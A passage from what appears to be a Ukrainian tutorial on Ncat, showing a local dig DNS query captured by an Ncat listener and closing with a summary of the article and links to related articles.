На цьому ж комп’ютері в іншій консолі робимо запит, де як сервер, до якого має звернутися програма, вказую localhost:

dig hackware.ru @localhost

Як виявилося, програма dig використовує не простий текст, а двійкові дані, тому в консолі ncat відобразилися символи, що не читаються. Хоча навіть так видно, що домен передається у вигляді простого тексту (майже) і робиться 3 спроби. До речі, Ncat має опції для збереження бінарних даних. Тобто, за бажання модемо їх правильно зберегти і потім аналізувати в шістнадцятковому редакторі.

Докладніші подробиці та приклади дивіться на сторінці: https://nmap.org/ncat/guide/ncat-simple-services.html

Висновок

У цій статті розглянуто багато прикладів використання Ncat, але не всі. Про інші опції Ncat ви можете дізнатися на на нашому сайті за посиланням Інструменти Kali Linux. (Ncat, Netcat, nc). Що ж до випадків застосування Ncat, їх може бути ще більше. Не забувайте про можливість комбінувати між собою функції цієї утиліти.

Стаття зроблена з ознайомчими цілями

Інші статті по темі
КібервійнаШпаргалки для хакера
Читати далі
Як отримати дані з Telegram за допомогою Python
Дізнайтеся, як отримати дані з Telegram за допомогою Python. Вивчайте методи та інструменти для отримання доступу до інформації з Telegram-акаунтів. Розкрийте потужність Python та його бібліотек для взаємодії з Telegram API та отримайте бажану інформацію.
1624
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.